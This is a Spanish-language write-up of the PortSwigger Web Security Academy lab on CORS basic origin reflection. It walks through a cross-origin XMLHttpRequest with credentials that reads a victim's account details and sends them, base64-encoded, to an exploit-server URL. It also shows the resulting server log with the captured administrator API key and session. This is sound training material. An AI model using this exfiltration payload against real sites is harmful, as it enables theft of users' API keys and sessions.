> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-basic-origin-reflection.md).

# Reflexión básica del origen en CORS

Notas de Reflexión básica del origen en CORS para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Vulnerabilidad CORS con reflexión básica del origen

Usando una configuración CORS demasiado permisiva (el servidor confía en cualquier origen) para recuperar la clave de API del administrador mediante una consulta entre orígenes con `credenciales` y enviar la respuesta a nuestro servidor de explotación. El ejercicio se resuelve cuando la clave de API del administrador se envía al servidor de explotación.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f23205fd14ddce1058f950285c4554561c44c6e4%2F%7BE93C2481-C3DD-4491-9718-04255A525A5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Credenciales proporcionadas para conectarse: `wiener:peter`.
* El código del lado de la página recupera la clave de API de `/accountDetails` y muestra:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05acb78b0b9ba40cd1ab6441c933bc62194815a%2F%7B5B981217-EB8B-46B6-866E-BF2EE614164B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Los encabezados indican `Access-Control-Allow-Credentials: true` (el servidor acepta solicitudes con cookies/credenciales).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fffb4cb07e3b1fd041b023d89e33bd50c0a580eb%2F%7B71DD19DE-AF24-4A33-9628-97AF33D459CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Al probar una consulta con el `Origin: jord4n.pro` encabezado, se devuelve la respuesta (se acepta el origen reflejado).

```javascript
Origin: jord4n.pro
```

* El servidor refleja/permite el origen enviado, por lo que una página controlada por el atacante puede realizar una `XMLHttpRequest`  o  `fetch` a `/accountDetails` incluyendo las cookies de la víctima (`withCredentials = true`) y recuperar la respuesta JSON que contiene la clave de API.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6296a8f99e2485444e7340b5987ae5e7e276b66%2F%7B8E97639D-16A3-4758-BB50-FD30CC1BD87E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4966b3c5739c9ba582053fbe4ac57fd3c4ccbe05%2F%7B90E8F329-5B26-4B3B-BB2C-426417A091F1%7D.png?alt=media" alt="" width="483"><figcaption></figcaption></figure>

Una vez leída la respuesta, puede transmitirse al servidor (por ejemplo, codificándola en base64) para su obtención.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02733344152bd14f913bfc7b411483b6bf72208c%2F%7B34B08A80-EEF4-46A7-9741-E8D38F8DB848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Víctima) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

El servidor operativo recibió una consulta GET que contenía la respuesta codificada, por ejemplo:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38d3209967cd9d4a39677bd0d257d48b3b1055%2F%7BBCA617FC-24D1-4D74-A8E9-063DEC8A4C3C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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